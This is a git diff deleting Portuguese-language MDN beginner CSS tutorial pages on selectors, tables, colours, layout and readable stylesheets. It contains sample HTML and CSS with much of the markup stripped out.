Esta regra faz um elemento com o id principal negrito:

- -
-
-#principal {font-weight: bolder;}
-
-
-
- -

Se mais de uma regra se aplicar a um elemento e especificar a mesma propriedade, então CSS dará prioridade para a regra que tiver o seletor mais específico. Um seletor id é mais específíco que um seletor classe, que por sua vez é mais específico que um seletor tag.

- - - - - - - - -
Mais detalhes
Você pode combinar seletores para fazer um seletor mais específico. -

Por exemplo, o seletor .key seleciona todos os elementos que tem o nome de classe key. O seletor p.key seleciona somente os elementos P que tiverem o nome de classe key.

- -

Você não está restrito aos dois atributos especiais, class e id. Você pode especificar outros atributos igualando entre colchetes. Por exemplo, o seletor {{ mediawiki.external('type=button') }} seleciona todos os elementos que tiverem um atributo type com o valor button.

- -

Uma página posterior deste tutorial (Tabelas) tem informações sobre seletores complexos baseados em parentescos.

- -

Para um informação completa sobre seletores, veja Selectors na CSS Specification.

-
- -

Se sua folha de estilo tiver regras conflitantes e elas estiverem igualmente especificadas, então CSS dará prioridade para a regra que foi especificada por último na folha de estilo.

- -

Quando você tiver um problema com regras conflitantes, tente resolvê-lo fazendo uma das regras mais especificada, então ela terá prioridade. Se você não puder fazer isto, tente mover uma das regras para mais perto do fim da folha de estilo, então esta terá prioridade.

- -

Ação: Usando seletores de classe e id

- -

Edite seu arquivo HTML, e duplique o paragrafo copiando e colando-o. Então adicione os atributos de id e classe na primeira cópia, e um id na segunda cópia como mostrado abaixo. Um alternativa é copiar e colar o arquivo inteiro novamente:

- -
-
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-  <HEAD>
-  <TITLE>Documento de amostra</TITLE>
-  <LINK rel="stylesheet" type="text/css" href="style1.css">
-  </HEAD>
-  <BODY>
-    <P id="first">
-      <STRONG class="carrot">C</STRONG>ascading
-      <STRONG class="spinach">S</STRONG>tyle
-      <STRONG class="spinach">S</STRONG>heets
-    </P>
-    <P id="second">
-      <STRONG>C</STRONG>ascading
-      <STRONG>S</STRONG>tyle
-      <STRONG>S</STRONG>heets
-    </P>
-  </BODY>
-</HTML>
-
-
- -

Agora edite seu arquivo CSS. Substitua os componentes inteiros com:

- -
-
strong {color: red;}
-.carrot {color: orange;}
-.spinach {color: green;}
-#first {font-style: italic;}
-
-
- -


- Atualize seu navegador para ver o resultado:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -


- Você pode tentar re-dispor as linhas no seu arquivo CSS para mostrar que a ordem não muda o efeito.

- -

Os seletores de classe .carrot e .spinach tem prioridade sobre o seletor de tag STRONG.

- -

O seletor id #first tem prioridade sobre a classe o os seletores de tag.

- - - - - - - - -
Desafios
Sem mudar seu arquivo HTML, adicione uma única regra para seu arquivo CSS deixando todas as letras iniciais da mesma cor que estão agora, mas fazendo todo o segundo parágrafo aparecer em azul: - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- -

Agora mude a regra que você acabou de adicionar (sem mudar mais nenhuma coisa), para fazer o primeiro parágrafo em azul também:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Sua folha de estilo de amostra está começando a parecer densa e complicada. A próxima página descreve caminhos para fazer o CSS mais fácil de ler: CSS legível

- -

{{ PreviousNext("CSS:Como começar:Cascata e herança", "CSS:Como começar:CSS legível") }}

diff --git a/files/pt-pt/learn/css/building_blocks/styling_tables/index.html b/files/pt-pt/learn/css/building_blocks/styling_tables/index.html deleted file mode 100644 index 8967f90eb8..0000000000 --- a/files/pt-pt/learn/css/building_blocks/styling_tables/index.html +++ /dev/null @@ -1,656 +0,0 @@ ---- -title: Tabelas -slug: Learn/CSS/Building_blocks/Styling_tables -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Building_blocks/Styling_tables -translation_of_original: Web/Guide/CSS/Getting_started/Tables -original_slug: Web/CSS/Como_começar/Tabelas ---- -

{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}

- -

Esta página descreve seletores mais avançados, e algumas maneiras específicas para estilizar tabelas.

- -

Você cria um novo documento de amostra contendo uma tabela, e uma folha de estilo para isto.

- -

Informação: Mais seletores

- -

CSS possui algumas maneiras para selecionar elementos baseadas nas relações entre eles. Você pode usá-las para fazer seletores que sejam mais específicos.

- -

Aqui está um sumário de seletores baseados em relações:

- - - - - - - - - - - - - - - - - - - - - - - - -
SeletorSeleciona
A EQualquer elemento E que seja descendente de um elemento A (isso é: um subitem, ou um subitem de um sub item, etc.)
A > EQualquer elemento E que seja subitem de um elemento A
E:first-childQualque elemento E que seja o primeiro subitem do seu principal
B + EQualquer elemento E que seja o próximo irmão de um elemento B (isso é: o próximo subitem do mesmo principal)
- -

Você pode combinar isto para expressar relações complexas.

- -

Você pode também usar o símbolo * (asterisco) para dizer "qualquer elemento".

- - - - - - - - -
Exemplo
Uma tabela HTML tem um atributo id, mas suas linhas e células não tem identificadores individuais: -
-
-<TABLE id="data-table-1">
-...
-<TR>
-<TD>Prefix</TD>
-<TD>0001</TD>
-<TD>default</TD>
-</TR>
-...
-
-
- -

Estas regras fazem a primeira célula em cada linha em negrito, e a segunda célula em cada linha monoespaçada. Elas afetam somente uma tabela específica no documento:

- -
-
    -
  1. data-table-1 td:first-child {font-weight: bolder;}
  2. -
  3. data-table-1 td:first-child + td {font-family: monospace;}
  4. -
-
- -

O resultado é algo como isto:

- - - - - - - -
- - - - - - - - -
Prefix0001default
-
-
- - - - - - - - -
Mais detalhes
De maneira usual, se você faz um seletor mais específico então você aumenta sua prioridade. -

Usando estas técnicas, você evita precisar especificar atributos class ou id em muitas tags no seu documento. Em vez disso, CSS faz o trabalho.

- -

Em grandes projetos onde a velocidade é importante, você pode fazer suas folhas de estilo mais eficientes evitando regras complexas que dependem da relação entre elementos.

- -

Para detalhes completos sobre seletores, veja Selectors em CSS Specification.

-
- -

Informação: Tabelas

- -

Uma tabela é um arranjo de informação em uma grade retangular. Algumas tabelas podem ser complexas, e para tabelas complexas diferentes navegadores podem exibir diferentes resultados.

- -

Quando você desenha seu documento, use e a tabela para expressar as relações entre as peças da informação. Então não importará se os diferentes navegadores apresentarem a informação de maneiras levemente diferentes, pois o significado ainda pode ser compreendido.

- -

Não use tabelas de maneiras não usuais para produzir disposições visuais particulares. As técnicas na página anterior deste tutorial (Disposição) são melhores para isto.

- -

Estrutura da tabela

- -

Em uma tabela, cada peça de informação é exibida em uma célula.

- -

As células em uma linha horizontal na página compõem uma linha.

- -

Em algumas tabelas, as linhas podem ser agrupadas. Um grupo especial de linhas no começo da tabela é o cabeçalho. Um grupo especial de linhas no final da tabela é o rodapé. As linhas principais na tabela são o corpo, e elas podem também estar em grupos.

- -

As células em uma linha vertical na página compõem uma coluna, mas as colunas têm usos limitados nas tabelas das CSS.

- - - - - - - - -
Exemplo
A tabela de seletores próxima ao topo desta página tem dez células em cinco linhas. -

A primeira linha é o cabeçalho. As outras quatro linhas são o corpo. Não há um rodapé.

- -

Ela tem duas colunas.

-
- -

Este tutorial somente cobre tabelas simples, onde os resultados são razoavelmente previsíveis. Em uma tabela simples, toda célula ocupa somente uma linha e coluna. Você pode usar CSS para tabelas complexas onde células expandam (extendam-se sobre) mais do que uma linha ou coluna, mas tabelas como estas estão fora do escopo deste tutorial básico.

- -

Bordas

- -

Células não têm margens.

- -

Células têm bordas e enchimento. Por padrão, as bordas são separadas pelo valor da propriedade border-spacing da tabela. Você pode também remover o espaçamento completamente configurando a propriedade border-collapse da tabela para collapse.

- - - - - - - - -
Exemplo
Aqui estão três tabelas. -

A tabela da esquerda tem espaçamento de borda 0.5 em. A tabela do centro tem espaçamento da borda zero. A tabela da direita tem bordas unidas:

- - - - - - - - - -
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
-
- -

Subtítulos

- -

Um subtítulo é uma etiqueta que se aplica à tabela inteira. Por padrão, isto é mostrado no topo da tabela.

- -

Para mover isto para o fim, configure a propriedade caption-side para bottom. A propriedade é herdada, então alternativamente você pode configurar isto na tabela em outro elemento ascendente.

- -

Para estilizar o texto do subtítulo, use qualquer das propriedades usuais para texto.

- - - - - - - - -
Exemplo
Esta tabela tem um subtítulo no fim: -
-
-#demo-table > caption {
-  caption-side: bottom;
-  font-style: italic;
-  text-align: right;
-  }
-
-
- - - - - - - -
- - - - - - - -
Naipes
- - - - - - - - - - - -
PausCopas
OurosEspadas
-
-
-
- -

Células vazias

- -

Você pode exibir células vazias (isto é, suas bordas e fundos) especificando empty-cells: show; para o elemento da tabela.

- -

Você pode escondê-los especificando empty-cells:hide;. Então, se um elemento principal tem um fundo e o chama, isto mostra através da célula vazia.

- - - - - - - - -
Exemplo
Estas tabelas tem um fundo de verde pálido. Suas células tem um fundo de cinza pálido e bordas de cinza escuro. -

Na esquerda da tabela, a célula vazia é mostrada. Na direita, é escondida:

- - - - - - - - -
- - - - - - - - - - - -
 Copas
OurosEspadas
-
- - - - - - - - - - - -
 Copas
OurosEspadas
-
-
- - - - - - - - -
Mais detalhes
Para informações detalhasdas sobre tabelas, veja Tables em CSS Specification. -

A informação lá vai além do que há neste tutorial, mas não cobre as diferenças entre os navegadores que podem afetar tabelas complexas.

-
- -

Ação: Estilizando uma tabela

- -

Faça um novo documento HTML, doc3.html. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:

- -
-
<DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
-<HTML>
-<HEAD>
-<TITLE>Documento de amostra 3</TITLE>
-<LINK rel="stylesheet" type="text/css" href="style3.css">
-</HEAD>
-<BODY>
-
-<TABLE id="demo-table">
-<CAPTION>Oceanos</CAPTION>
-
-<THEAD>
-<TR>
-<TH></TH>
-<TH>Área</TH>
-<TH>Profundidade Média</TH>
-</TR>
-<TR>
-<TH></TH>
-<TH>milhões de km<SUP>2</SUP></TH>
-<TH>m</TH>
-</TR>
-</THEAD>
-
-<TBODY>
-<TR>
-<TH>Ártico</TH>
-<TD>13,000</TD>
-<TD>1,200</TD>
-</TR>
-<TR>
-<TH>Atlântico</TH>
-<TD>87,000</TD>
-<TD>3,900</TD>
-</TR>
-<TR>
-<TH>Pacífico</TH>
-<TD>180,000</TD>
-<TD>4,000</TD>
-</TR>
-<TR>
-<TH>Índico</TH>
-<TD>75,000</TD>
-<TD>3,900</TD>
-</TR>
-<TR>
-<TH>Antártico</TH>
-<TD>20,000</TD>
-<TD>4,500</TD>
-</TR>
-</TBODY>
-
-<TFOOT>
-<TR>
-<TH>Total</TH>
-<TD>361,000</TD>
-<TD></TD>
-</TR>
-<TR>
-<TH>Média</TH>
-<TD>72,000</TD>
-<TD>3,800</TD>
-</TR>
-</TFOOT>
-
-</TABLE>
-
-</BODY>
-</HTML>
-
-
- -

Crie uma nova folha de estilo, style3.css. Copie e cole o conteúdo daqui, tendo certeza que você rolou a tela para pegar tudo isto:

- -
-
/*** Estilo para doc3.html (Tabelas) ***/
-
-#demo-table {
-  font: 100% sans-serif;
-  background-color: #efe;
-  border-collapse: collapse;
-  empty-cells: show;
-  border: 1px solid #7a7;
-  }
-
-#demo-table > caption {
-  text-align: left;
-  font-weight: bold;
-  font-size: 200%;
-  border-bottom: .2em solid #4ca;
-  margin-bottom: .5em;
-  }
-
-
-/* basic shared rules */
-#demo-table th,
-#demo-table td {
-  text-align: right;
-  padding-right: .5em;
-  }
-
-#demo-table th {
-  font-weight: bold;
-  padding-left: .5em;
-  }
-
-
-/* header */
-#demo-table > thead > tr:first-child > th {
-  text-align: center;
-  color: blue;
-  }
-
-#demo-table > thead > tr + tr > th {
-  font-style: italic;
-  color: gray;
-  }
-
-/* fix size of superscript */
-#demo-table sup {
-  font-size: 75%;
-  }
-
-/* body */
-#demo-table td {
-  background-color: #cef;
-  padding:.5em .5em .5em 3em;
-  }
-
-#demo-table tbody th:after {
-  content: ":";
-  }
-
-
-/* footer */
-#demo-table tfoot {
-  font-weight: bold;
-  }
-
-#demo-table tfoot th {
-  color: blue;
-  }
-
-#demo-table tfoot th:after {
-  content: ":";
-  }
-
-#demo-table > tfoot td {
-  background-color: #cee;
-  }
-
-#demo-table > tfoot > tr:first-child td {
-  border-top: .2em solid #7a7;
-  }
-
-
- -

Abra o documento no seu navegador. Deve ser muito similar a este:

- - - - - - - -
-
-

Oceanos

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 ÁreaProfundidade média
 milhões de km2m
Ártico:13,0001,200
Atlântico:87,0003,900
Pacífico:180,0004,000
Índico:75,0003,900
Antártico:20,0004,500
Total:361,000 
Média:72,0003,800
-
-
-
- -

Compare estas regras em sua folha de estilo com a tabela exibida, para se assegurar de que entende o efeito de cada regra. Se você achou uma regra com a qual não está seguro sobre, descomente-a e atualize o navegador para ver o que acontece.

- -

Aqui estão algumas notas sobre esta tabela:

- -
    -
  • O subtítulo encontra-se fora da borda da tabela.
  • -
  • Se você tiver um tamanho mínimo do ponto ajustado nas Opções, isto pode afetar o sobre-escrito no km2.
  • -
  • Existem três células vazias. Duas delas permitem que o fundo da tabela apareça através. A terceira tem um fundo e uma borda no topo.
  • -
  • As colunas são adicionadas pela folha de estilos.
  • -
- - - - - - - - -
Desafios
Mude a folha de estilo para fazer a tabela parecer com isto: - - - - - - -
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 ÁreaProfundidade média
 milhões de km2m
Ártico:13,0001,200
Atlântico:87,0003,900
Pacífico:180,0004,000
Índico:75,0003,900
Antártico:20,0004,500
Total:361,000 
Média:72,0003,800
-
- -

Oceanos

-
-
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor combribua nesta página de Discussão.

- -

Esta é a última página deste tutorial que foca as propriedades e valores das CSS. Para um sumário completo de propriedades e valores, veja Full property table em CSS Specification.

- -

A próxima página mostra novamente o propósito e a estrutura das folhas de estilo CSS: Mídia

- -

{{ PreviousNext("CSS:Como começar:Disposição", "CSS:Como começar:Mídia") }}

diff --git a/files/pt-pt/learn/css/building_blocks/values_and_units/index.html b/files/pt-pt/learn/css/building_blocks/values_and_units/index.html deleted file mode 100644 index 1c5855e14c..0000000000 --- a/files/pt-pt/learn/css/building_blocks/values_and_units/index.html +++ /dev/null @@ -1,342 +0,0 @@ ---- -title: Cor -slug: Learn/CSS/Building_blocks/Values_and_units -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Introduction_to_CSS/Values_and_units#Colors -translation_of_original: Web/Guide/CSS/Getting_started/Color -original_slug: Web/CSS/Como_começar/Cor ---- -

{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}

- -

Esta página explica mais sobre como você pode especificar cores no CSS.

- -

Em sua folha de estilo de amostra, você é introduzido nas cores de fundo.

- -

Informação: Cor

- -

Neste tutorial até agora, você usou um limitado número de cores nomeadas. CSS 2 suporta ao todo 17 cores nomeadas. Alguns dos nomes podem não ser o que você espera:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
 black gray silver white 
primáriasred lime blue 
secundáriasyellow aqua fuchsia 
 maroon orange olive purple green navy teal 
- -

 

- - - - - - - - -
Mais detalhes
Seu navegador pode suportar muitas cores nomeadas, como: - - - - - - - - - - - - - - - -
dodgerblue peachpuff tan firebrick aquamarine 
- -

Para detalhes sobre esta lista extendida, veja: SVG color keywords no CSS 3 Color Module. Cuidado ao usar cores nomeadas, pois seu navegador pode não suportar.

-
- -


- Para uma paleta maior, específica de cores de componentes vermelho, verde ou azul você precisa usar um sinal numérico (#) e três digitos hexadecimais na faixa de 0 – 9 e a – f. As letras a – f representam os valores 10 – 15:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
black #000
pure red #f00
pure green #0f0
pure blue #00f
white #fff
- -


- Para a paleta total, especifique dois digitos hexadecimais por cada componente:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
black #000000
pure red #ff0000
pure green #00ff00
pure blue #0000ff
white #ffffff
- -

Você pode usualmente pegar estes seis digitos em código hexadeximal de seu programa de imagens ou alguma outra ferramenta.

- - - - - - - - - - - -
Exemplos
Com uma pequena prática, você pode ajustar as cores de três digitos manualmente para a maioria dos propósitos: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Começe com vermelho puro: #f00
Para tornar isto mais pálido, adicione um pouco de verde e azul: #f77
Para tornar isto mais alaranjado, adicione um pouquinho mais de verde: #fa7
Para tornar isto mais escuro, reduza todos os componentes: #c74
Para reduzir a saturação, faça os componentes mais parecidos: #c98
Se você quiser deixar todos os componentes iguais, você obterá cinza: #ccc
-
Para uma sombra pastel como azul pálido: - - - - - - - - - - - - - -
Começe com branco puro: #fff
Reduza um pouco os outros componentes: #eef
-
- - - - - - - - -
Mais detalhes
Você pode também especificar uma cor usando valores decimais RGB na faixa de 0 – 255, ou porcentagens. -

Por exemplo, este marrom (vermelho escuro):

- -
-
-rgb(128, 0, 0)
-
-
- -


- Para maiores detalhes sobre como especificar cores, veja: Colors na CSS Specification.

- -

Para informação sobre sistema de cores combinadas como o Menu and ThreeDFace, veja: CSS2 System Colors na CSS Specification.

-
- -

Propriedades de cor

- -

Você já usou a propriedade color para textos.

- -

Você também já usou a propriedade background-color para mudar elementos de fundo.

- -

Fundos podem ser configurados para transparent para remover qualquer cor explicitamente, reavaliando os elementos principais do fundo.

- - - - - - - - -
Exemplo
As caixas de Exemplo neste tutorial usam este fundo amarelo pálido: -
-
-background-color: #fffff4;
-
-
- -

As caixas de Mais detalhes usam esta paleta cinza:

- -
-
-background-color: #f4f4f4;
-
-
-
- -

Ação: Usando códigos de cor

- -

Edite seu arquivo CSS. Faça a mudança mostrada aqui em negrito, para dar às letras iniciais um fundo azul pálido. (O layout e os comentários no seu arquivo irão provavelmente diferir do arquivo mostrado aqui. Mantenha o layout e os comentários como você preferir.)

- -
-
/*** CSS Tutorial: Página de Cor ***/
-
-/* Fonte da Página */
-body {font: 16px "Comic Sans MS", cursive;}
-
-/* Parágrafos */
-p {color: blue;}
-#first {font-style: italic;}
-
-/* Letras Iniciais */
-strong {
-  color: red;
-  background-color: #ddf;
-  font: 200% serif;
-  }
-
-.carrot {color: red;}
-.spinach {color: green;}
-
-
- -

Atualize seu navegador para ver o resultado:

- - - - - - - - - - -
Cascading Style Sheets
Cascading Style Sheets
- - - - - - - - -
Desafio
No seu arquivo CSS, mude todos os nomes das cores para o código de cor com três digitos sem afetar o resultado. -

(Isto não pode ser feito exatamente, mas você pode deixar parecido. Para fazer isso exatamente você precisa do código com seis dígitos, e você precisa olhar a Especificação CSS ou usar uma ferramenta gráfica para converter as cores.)

-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

Seu documento de amostra e sua folha de estilo de amostra separam rigorosamente o conteúdo do estilo.

- -

A próxima página explica como você pode fazer exceções para separar rigorosamente: Conteúdo

- -

{{ PreviousNext("CSS:Como começar:Estilos de texto", "CSS:Como começar:Conteúdo") }}

diff --git a/files/pt-pt/learn/css/css_layout/index.html b/files/pt-pt/learn/css/css_layout/index.html deleted file mode 100644 index c6eb9caafa..0000000000 --- a/files/pt-pt/learn/css/css_layout/index.html +++ /dev/null @@ -1,454 +0,0 @@ ---- -title: Disposição -slug: Learn/CSS/CSS_layout -tags: - - CSS:Como_começar -translation_of: Learn/CSS/CSS_layout -translation_of_original: Web/Guide/CSS/Getting_started/Layout -original_slug: Web/CSS/Como_começar/Disposição ---- -

{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}

- -

Esta página descreve algumas maneiras para ajustar a disposição do seu documento.

- -

Você muda a disposição do seu documento de amostra...

- -

Informação: Disposição

- -

Você pode usar as CSS para especificar vários efeitos visuais que mudam a disposição do seu documento. Algumas técnicas para especificação da disposição são avançadas,e além do alcance deste tutorial básico.

- -

Quando você desenha uma disposição que aparece similar em vários navegadores, sua folha de estilo interage com a folha de estilo padrão do navegador e o motor de disposição em alguns caminhos pode se tornar complexo. Isto é também uma matéria avançada, além do alcance deste tutorial básico.

- -

Esta página descreve algumas técnicas simples que você pode tentar.

- -

Estrutura do documento

- -

Se você quer controlar a disposição do seu documento, então você pode ter que mudar sua estrutura.

- -

A linguagem de marcação do seu documento pode ter tags com propósito geral para criar a estrutura. Por exemplo, no HTML você pode usar a tag DIV para criar a estrutura.

- - - - - - - - -
Exemplo
No seu documento de amostra, os parágrafos numerados sob o segundo título não tem um "recipiente" próprio. -

Sua folha de estilo não pode desenhar uma borda ao redor destes parágrafos, porque não há elemento especificado no seletor.

- -

Para fixar este problema estrutural, você pode adicionar uma tag DIV em torno dos parágrafos. Esta tag é única, então isto pode ser identificado por um atributo id:

- -
-
-<H3 class="numbered">Parágrafos numerados</H3>
-<DIV id="numbered">
-<P class="numbered">Lorem ipsum</P>
-<P class="numbered">Dolor sit</P>
-<P class="numbered">Amet consectetuer</P>
-<P class="numbered">Magna aliquam</P>
-<P class="numbered">Autem veleum</P>
-</DIV>
-
-
- -

Agora sua folha de estilo pode use uma regra para especificar bordas em tordo de ambas as listas:

- -
-
-ul, #numbered {
-  border: 1em solid #69b;
-  padding-right:1em;
-  }
-
-
- -

O resultado deve ser como este:

- - - - - - - -
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
-
- -

Tamanhos das unidades

- -

Anteriormente neste tutorial, você especificou tamanhos em pixels (px). Estes são apropriados para alguns propósitos em um dispositivo de exposição como uma tela de computador. Mas quando o usuário muda o tamanho da fonte, sua disposição pode ficar errada.

- -

Para muitos propósitos é melhor especificar tamanhos com porcentagem ou em ems (em). Um em é nominalmente o tamanho da fonte corrente (a largura de uma letra m). Quando o usuário muda o tamanho da fonte, sua disposição ajusta-se automaticamente.

- - - - - - - - -
Exemplo
A borda da esquerda deste texto tem o tamanho especificado em pixels. -

A borda da direita tem o tamanho especificado em ems. No seu navegador, mude o tamanho da fonte para ver como a borda da direita se ajusta mas a borda da esquerda não:

- - - - - - - -
-
Redimensione-me por favor
-
-
- - - - - - - - -
Mais detalhes
Para outros dispositivos, outras unidades de comprimento são apropriadas. -

Há mais informação sobre isto em uma página anterior deste tutorial.

- -

Para detalhes completos sobre os valores e unidades que você pode usar, veja Values em CSS Specification.

-
- -

Disposição do texto

- -

Duas propriedades especificam como o conteúdo de um elemento é alinhado. Você pode usá-las para ajustes simples na disposição:

- -
    -
  • text-align
  • -
- -
-
Alinha o conteúdo. Use um destes valores: left, right, center, justify
-
- -
    -
  • text-indent
  • -
- -
-
Indenta o conteúdo, colocando o espaço que você especificar.
-
- -

Estas propriedades aplicam-se a qualquer conteúdo como texto no elemento, não somente ao texto atual. Lembre-se que elas são herdadas pelo elemento filho, então você pode ter que desativá-las nos elementos filhos para não se surpreender com os resultados.

- - - - - - - - -
Exemplo
Para centralizar títulos: -
-
-h3 {
-  border-top: 1px solid gray;
-  text-align: center;
-  }
-
-
- -

Resulta em:

- - - - - - - -
-

(A) Os oceanos

-
- -

Em um documento HTML, o conteúdo que você vê abaixo do título não é contido estruturalmente pelo título. Então quando você alinha um título como isto, as tags abaixo do título não são afetadas pela herança.

-
- -

Flutuantes

- -

A propriedade float força um elemento para a esquerda ou direita. Isto é uma maneira simples de controlar sua posição e tamanho.

- -

O resto do conteúdo do documento normalmente flui ao redor do elemento flutuado. Você pode controlar isto usando a propriedade clear em outros elementos para fazê-los permanecer sem flutuantes.

- - - - - - - - -
Exemplo
Em seu documento de amostra, as listas esticam através da janela. Você pode prevenir isto flutuando-os para a esquerda. -

Para manter os títulos no lugar, você precisa também especificar que eles permaneçam limpos de flutuantes à sua esquerda:

- -
-
-ul, #numbered {float: left;}
-h3 {clear: left;}
-
-
- -

O resultado deve se parecer com isto:

- - - - - - - -
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
-
- -

(Um pequeno enchimento é necessário à direita das caixas, onde a borda fica muito perto do texto.)

-
- -

Posicionamento

- -

Você pode especificar a posição dos elementos de quatro maneiras, especificando a propriedade position e um dos valores seguintes:

- -

Estas são propriedades avançadas. É possível usá-las de maneiras simples — esta é a razão pela qual elas são mencionadas neste tutorial básico. Mas usando-as para disposições complexas pode-se dificultar.

- -
    -
  • relative
  • -
- -
-
A posição do elemento é alterada relativamente à sua posição normal.
-
Use-o para mover um elemento por uma quantidade especificada. Às vezes você pode usar a margem do elemento para obter o mesmo efeito.
-
- -
    -
  • fixed
  • -
- -
-
A posição do elemento é fixa.
-
Especifique a posição do elemento relativa à janela do documento. Mesmo que o resto do documento seja rolado, o elemento permanece fixo.
-
- -
    -
  • absolute
  • -
- -
-
A posição do documento é fixada relativamente a um elemento pai.
-
Somente um elemento pai que esteja posicionado com relative, fixed ou absolute o fará.
-
- -
-
Você pode tornar qualquer elemento principal apropriado, especificando position: relative; sem especificar qualquer movimento.
-
- -
    -
  • static
  • -
- -
-
O padrão. Use este valor caso precise desativar a posição explicitamente.
-
- -

Agora, com estes valores da propriedade position (exeto para static), especifique uma ou mais propriedades: top, right, bottom, left, width, height para identificar onde você quer que o elemento apareça, e talvez também seu tamanho.

- - - - - - - - -
Exemplo
Para posicionar dois elementos no topo, crie um "recipiente" principal em seu documento com os dois elementos dentre dele: -
-
-<DIV id="parent-div">
-<P id="forward">/</P>
-<P id="back">\</P>
-</DIV>
-
-
- -

Na sua folha de estilo, faça a posição principal relative. Ela não precisa que seja especificado qualquer movimento atual. Faça a posição subordinada absolute:

- -
-
-#parent-div {
-  position: relative;
-  font: bold 200% sans-serif;
-  }
-
-#forward, #back {
-  position: absolute;
-  margin:0px;
-  top: 0px;
-  left: 0px;
-  }
-
-#forward {
-  color: blue;
-  }
-
-#back {
-  color: red;
-  }
-
-
- -

O resultado deve ser como isto, com a contra barra (\) sobre a barra (/):

- -
-

/

- -

\

-
- - - - - - - -
 
- -

 

-
- - - - - - - - -
Mais detalhes
A história completa sobre posicionamento toma dois complexos capítulos em CSS Specification: Visual formatting model e Visual formatting model details. -

Se você está desenhando folhas de estilo para trabalharem em vários navegadores, então você também precisa levar em conta as diferenças na maneira em que os navegadores interpretam o padrão, e talvez bugs em algumas versões de alguns navegadores.

-
- -

Ação: Especificando a disposição

- -

Mude seu documento de amostra e sua folha de estilo usando os exemplos anteriores nas seções Estrutura do documento e Flutuantes.

- -

No exemplo dos Flutuantes, adicione enchimento para separar o texto da borda direita por 0,5 em.

- - - - - - - - -
Desafio
Mude seu documento de amostra, adicionando esta tag perto do fim, somente antes de </BODY> -
-<IMG id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin">
-
- -

Se você não baixou o arquivo de imagem anteriormente neste tutorial, baixe-o agora:

- - - - - - - -
Image:Yellow-pin.png
- -

Prediga onde a imagem irá aparecer no seu documento. Então atualize seu navegador para ver se você estava certo.

- -

Adicione uma regra à sua folha de estilo que fixe a imagem no topo e a direita do seu documento.

- -

Atualize seu navegador e diminua o tamanho da janela. Cheque se a imagem permanece no topo e a direita mesmo que você role seu documento:

- -
-
-

(A) Os oceanos

- -
-
    -
  • Ártico
  • -
  • Atlântico
  • -
  • Pacífico
  • -
  • Índico
  • -
  • Antártico
  • -
-
- -

(B) Parágrafos numerados

- -
-

1: Lorem ipsum

- -

2: Dolor sit

- -

3: Amet consectetuer

- -

4: Magna aliquam

- -

5: Autem veleum

-
- -

 

- -
Yellow map pin
-
-
-
- -

O que vem depois?

- -

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

- -

A próxima página descreve seletores para regras mais avançadas das CSS, e algumas maneiras específicas de estilizar tabelas: Tabelas

- -

{{ PreviousNext("CSS:Como começar:Caixas", "CSS:Como começar:Tabelas") }}

diff --git a/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html b/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html deleted file mode 100644 index 46e7d2db08..0000000000 --- a/files/pt-pt/learn/css/first_steps/how_css_is_structured/index.html +++ /dev/null @@ -1,189 +0,0 @@ ---- -title: CSS legível -slug: Learn/CSS/First_steps/How_CSS_is_structured -tags: - - CSS:Como_começar -translation_of: Learn/CSS/Introduction_to_CSS/Syntax#Beyond_syntax_make_CSS_readable -translation_of_original: Web/Guide/CSS/Getting_started/Readable_CSS -original_slug: Web/CSS/Como_começar/CSS_legível ---- -

{{ PreviousNext("CSS:Como começar:Seletores", "CSS:Como começar:Estilos de texto") }}

- -

Esta página discute o estilo e a gramática da linguagem CSS.

- -

Você muda a maneira em que seu arquivo de amostra CSS é exibido, para torná-lo mais legível.

- -

Informação: CSS legível

- -

Você pode adicionar espaço em branco e comentários na sua folha de estilo para fazê-la mais legível. Você pode também juntar seletores de grupo, quando as mesmas regras de estilo se aplicam aos elementos selecionados em meios diferentes.

- -

Espaço em branco

- -

Espaços em branco significam espaços reais, tabs e quebras de linha. Você pode adicionar espaços em branco para tornar suas folhas de estilo mais legíveis.

- -

